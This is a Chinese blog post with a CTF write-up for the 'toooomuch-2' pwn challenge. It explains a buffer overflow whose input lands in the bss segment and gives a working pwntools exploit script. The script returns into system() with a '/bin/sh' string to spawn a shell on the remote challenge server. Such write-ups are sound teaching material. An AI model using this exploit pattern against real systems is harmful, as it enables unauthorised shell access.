美文网首页
toooomuch-2

toooomuch-2

作者: 2mpossible | 来源:发表于2018-08-17 11:34 被阅读0次

    这题要getshell,还有system函数,strcpy会将输入的字符写到bss段,所以直接rop到system从而getshell(system函数的参数是'/bin/sh'的地址)

    from pwn import *
    
    #p = process('./toooomuch-2')
    p = remote('hackme.inndy.tw',7702)
    p.recvuntil('passcode: ')
    system_plt = 0x080484c0
    payload = '/bin/sh\x00' + 'a'*0x10 + 'aaaa'
    payload += p32(system_plt) + p32(0x080487D9) + p32(0x08049C60)
    #gdb.attach(p)
    p.sendline(payload)
    
    p.interactive()
    

    相关文章

      网友评论

          本文标题:toooomuch-2

          本文链接:https://www.haomeiwen.com/subject/bzyzbftx.html